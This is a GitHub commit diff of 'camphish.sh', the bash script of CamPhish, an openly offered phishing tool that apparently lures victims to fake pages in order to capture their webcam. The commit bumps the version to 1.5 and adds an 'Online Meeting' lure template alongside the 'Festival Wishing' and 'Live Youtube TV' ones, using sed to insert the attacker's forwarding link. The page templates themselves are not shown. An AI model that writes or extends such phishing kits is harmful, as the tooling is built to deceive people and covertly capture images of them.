Skip to content

Commit 0f1de2a

Browse files
authored
Update camphish.sh
New template added
1 parent 15ba018 commit 0f1de2a

File tree

1 file changed

+12
-4
lines changed

1 file changed

+12
-4
lines changed

‎camphish.sh‎

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
#!/bin/bash
2-
# CamPhish v1.4
2+
# CamPhish v1.5
33
# Powered by TechChip
44
# Credits goes to thelinuxchoice [github.com/thelinuxchoice/]
55

@@ -15,7 +15,7 @@ printf "\e[1;92m | | | ___ || |(_)| |\e[0m\e[1;77m| _____)| ___ | |
1515
printf "\e[1;92m | | | ( ) || | | |\e[0m\e[1;77m| ( | ( ) | | | ) || ( ) |\e[0m\n"
1616
printf "\e[1;92m | (____/\| ) ( || ) ( |\e[0m\e[1;77m| ) | ) ( |___) (___/\____) || ) ( |\e[0m\n"
1717
printf "\e[1;92m (_______/|/ \||/ \|\e[0m\e[1;77m|/ |/ \|\_______/\_______)|/ \|\e[0m\n"
18-
printf " \e[1;93m CamPhish Ver 1.4 \e[0m \n"
18+
printf " \e[1;93m CamPhish Ver 1.5 \e[0m \n"
1919
printf " \e[1;77m www.techchip.net | youtube.com/techchipnet \e[0m \n"
2020

2121
printf "\n"
@@ -127,9 +127,11 @@ sed 's+forwarding_link+'$link'+g' template.php > index.php
127127
if [[ $option_tem -eq 1 ]]; then
128128
sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html
129129
sed 's+fes_name+'$fest_name'+g' index3.html > index2.html
130-
else
130+
elif [[ $option_tem -eq 2 ]]; then
131131
sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html
132132
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
133+
else
134+
sed 's+forwarding_link+'$link'+g' OnlineMeeting.html > index2.html
133135
fi
134136
rm -rf index3.html
135137

@@ -146,6 +148,7 @@ else
146148
printf "\n-----Choose a template----\n"
147149
printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Festival Wishing\e[0m\n"
148150
printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Live Youtube TV\e[0m\n"
151+
printf "\e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Online Meeting\e[0m\n"
149152
default_option_template="1"
150153
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a template: [Default is 1] \e[0m' option_tem
151154
option_tem="${option_tem:-${default_option_template}}"
@@ -154,6 +157,8 @@ read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter festival name: \e[0m' fe
154157
fest_name="${fest_name//[[:space:]]/}"
155158
elif [[ $option_tem -eq 2 ]]; then
156159
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter YouTube video watch ID: \e[0m' yt_video_ID
160+
elif [[ $option_tem -eq 3 ]]; then
161+
printf ""
157162
else
158163
printf "\e[1;93m [!] Invalid template option! try again\e[0m\n"
159164
sleep 1
@@ -268,9 +273,12 @@ sed 's+forwarding_link+'$send_link'+g' template.php > index.php
268273
if [[ $option_tem -eq 1 ]]; then
269274
sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html
270275
sed 's+fes_name+'$fest_name'+g' index3.html > index2.html
271-
else
276+
elif [[ $option_tem -eq 2 ]]; then
272277
sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html
273278
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
279+
else
280+
sed 's+forwarding_link+'$link'+g' OnlineMeeting.html > index3.html
281+
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
274282
fi
275283
rm -rf index3.html
276284

0 commit comments

Comments
 (0)